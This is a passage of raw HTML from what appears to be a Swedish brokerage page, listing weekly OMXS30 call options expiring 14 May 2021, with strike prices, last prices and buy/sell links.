<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1212640"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212640/omxs301e14y2145"
title="Köp optioner i OMXS301E14Y2145"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212640/omxs301e14y2145"
title="Sälj optioner i OMXS301E14Y2145"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212640/omxs301e14y2145" class="link" title="OMXS301E14Y2145">
OMXS301E14Y2145</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 145,00</td>
<td class="overview noSort">8,57</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212640" data-instrument_id="1215542"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212639"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212639/omxs301e14y2150"
title="Köp optioner i OMXS301E14Y2150"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212639/omxs301e14y2150"
title="Sälj optioner i OMXS301E14Y2150"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212639/omxs301e14y2150" class="link" title="OMXS301E14Y2150">
OMXS301E14Y2150</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 150,00</td>
<td class="overview noSort">8,25</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212639" data-instrument_id="1215541"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1212638"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212638/omxs301e14y2155"
title="Köp optioner i OMXS301E14Y2155"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212638/omxs301e14y2155"
title="Sälj optioner i OMXS301E14Y2155"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212638/omxs301e14y2155" class="link" title="OMXS301E14Y2155">
OMXS301E14Y2155</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 155,00</td>
<td class="overview noSort">9,70</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212638" data-instrument_id="1215540"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212637"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212637/omxs301e14y2160"
title="Köp optioner i OMXS301E14Y2160"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212637/omxs301e14y2160"
title="Sälj optioner i OMXS301E14Y2160"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212637/omxs301e14y2160" class="link" title="OMXS301E14Y2160">
OMXS301E14Y2160</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 160,00</td>
<td class="overview noSort">4,55</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212637" data-instrument_id="1215539"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1212636"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212636/omxs301e14y2165"
title="Köp optioner i OMXS301E14Y2165"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212636/omxs301e14y2165"
title="Sälj optioner i OMXS301E14Y2165"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212636/omxs301e14y2165" class="link" title="OMXS301E14Y2165">
OMXS301E14Y2165</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 165,00</td>
<td class="overview noSort">4,79</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212636" data-instrument_id="1215538"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212635"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212635/omxs301e14y2170"
title="Köp optioner i OMXS301E14Y2170"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212635/omxs301e14y2170"
title="Sälj optioner i OMXS301E14Y2170"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212635/omxs301e14y2170" class="link" title="OMXS301E14Y2170">
OMXS301E14Y2170</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 170,00</td>
<td class="overview noSort">5,05</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212635" data-instrument_id="1215537"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1212633"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212633/omxs301e14y2175"
title="Köp optioner i OMXS301E14Y2175"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212633/omxs301e14y2175"
title="Sälj optioner i OMXS301E14Y2175"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212633/omxs301e14y2175" class="link" title="OMXS301E14Y2175">
OMXS301E14Y2175</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 175,00</td>
<td class="overview noSort">5,35</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212633" data-instrument_id="1215535"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212580"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212580/omxs301e14y2180"
title="Köp optioner i OMXS301E14Y2180"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212580/omxs301e14y2180"
title="Sälj optioner i OMXS301E14Y2180"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212580/omxs301e14y2180" class="link" title="OMXS301E14Y2180">
OMXS301E14Y2180</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 180,00</td>
<td class="overview noSort">5,67</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212580" data-instrument_id="1215482"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1212579"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212579/omxs301e14y2185"
title="Köp optioner i OMXS301E14Y2185"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212579/omxs301e14y2185"
title="Sälj optioner i OMXS301E14Y2185"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212579/omxs301e14y2185" class="link" title="OMXS301E14Y2185">
OMXS301E14Y2185</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 185,00</td>
<td class="overview noSort">6,08</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212579" data-instrument_id="1215481"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212566"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212566/omxs301e14y2190"
title="Köp optioner i OMXS301E14Y2190"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212566/omxs301e14y2190"
title="Sälj optioner i OMXS301E14Y2190"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212566/omxs301e14y2190" class="link" title="OMXS301E14Y2190">
OMXS301E14Y2190</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 190,00</td>
<td class="overview noSort">6,48</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212566" data-instrument_id="1215468"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1212558"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212558/omxs301e14y2195"
title="Köp optioner i OMXS301E14Y2195"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212558/omxs301e14y2195"
title="Sälj optioner i OMXS301E14Y2195"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212558/omxs301e14y2195" class="link" title="OMXS301E14Y2195">
OMXS301E14Y2195</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 195,00</td>
<td class="overview noSort">6,93</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212558" data-instrument_id="1215460"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212556"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212556/omxs301e14y2200"
title="Köp optioner i OMXS301E14Y2200"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212556/omxs301e14y2200"
title="Sälj optioner i OMXS301E14Y2200"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212556/omxs301e14y2200" class="link" title="OMXS301E14Y2200">
OMXS301E14Y2200</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 200,00</td>
<td class="overview noSort">6,54</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212556" data-instrument_id="1215458"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1212549"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212549/omxs301e14y2205"
title="Köp optioner i OMXS301E14Y2205"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212549/omxs301e14y2205"
title="Sälj optioner i OMXS301E14Y2205"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212549/omxs301e14y2205" class="link" title="OMXS301E14Y2205">
OMXS301E14Y2205</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 205,00</td>
<td class="overview noSort">7,11</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212549" data-instrument_id="1215451"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212493"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212493/omxs301e14y2210"
title="Köp optioner i OMXS301E14Y2210"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212493/omxs301e14y2210"
title="Sälj optioner i OMXS301E14Y2210"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212493/omxs301e14y2210" class="link" title="OMXS301E14Y2210">
OMXS301E14Y2210</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 210,00</td>
<td class="overview noSort">7,16</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212493" data-instrument_id="1215395"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1212395"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212395/omxs301e14y2215"
title="Köp optioner i OMXS301E14Y2215"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212395/omxs301e14y2215"
title="Sälj optioner i OMXS301E14Y2215"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212395/omxs301e14y2215" class="link" title="OMXS301E14Y2215">
OMXS301E14Y2215</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 215,00</td>
<td class="overview noSort">8,48</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212395" data-instrument_id="1215297"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212337"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212337/omxs301e14y2220"
title="Köp optioner i OMXS301E14Y2220"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212337/omxs301e14y2220"
title="Sälj optioner i OMXS301E14Y2220"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212337/omxs301e14y2220" class="link" title="OMXS301E14Y2220">
OMXS301E14Y2220</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 220,00</td>
<td class="overview noSort">9,90</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212337" data-instrument_id="1215239"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1212329"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212329/omxs301e14y2225"
title="Köp optioner i OMXS301E14Y2225"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212329/omxs301e14y2225"
title="Sälj optioner i OMXS301E14Y2225"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212329/omxs301e14y2225" class="link" title="OMXS301E14Y2225">
OMXS301E14Y2225</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 225,00</td>
<td class="overview noSort">10,91</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212329" data-instrument_id="1215231"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212328"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212328/omxs301e14y2230"
title="Köp optioner i OMXS301E14Y2230"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212328/omxs301e14y2230"
title="Sälj optioner i OMXS301E14Y2230"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212328/omxs301e14y2230" class="link" title="OMXS301E14Y2230">
OMXS301E14Y2230</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 230,00</td>
<td class="overview noSort">8,13</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212328" data-instrument_id="1215230"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1212327"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212327/omxs301e14y2235"
title="Köp optioner i OMXS301E14Y2235"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212327/omxs301e14y2235"
title="Sälj optioner i OMXS301E14Y2235"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212327/omxs301e14y2235" class="link" title="OMXS301E14Y2235">
OMXS301E14Y2235</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 235,00</td>
<td class="overview noSort">10,05</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212327" data-instrument_id="1215229"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212317"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212317/omxs301e14y2240"
title="Köp optioner i OMXS301E14Y2240"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212317/omxs301e14y2240"
title="Sälj optioner i OMXS301E14Y2240"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212317/omxs301e14y2240" class="link" title="OMXS301E14Y2240">
OMXS301E14Y2240</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 240,00</td>
<td class="overview noSort">10,31</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212317" data-instrument_id="1215219"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1212316"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212316/omxs301e14y2245"
title="Köp optioner i OMXS301E14Y2245"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212316/omxs301e14y2245"
title="Sälj optioner i OMXS301E14Y2245"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212316/omxs301e14y2245" class="link" title="OMXS301E14Y2245">
OMXS301E14Y2245</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 245,00</td>
<td class="overview noSort">12,87</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212316" data-instrument_id="1215218"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
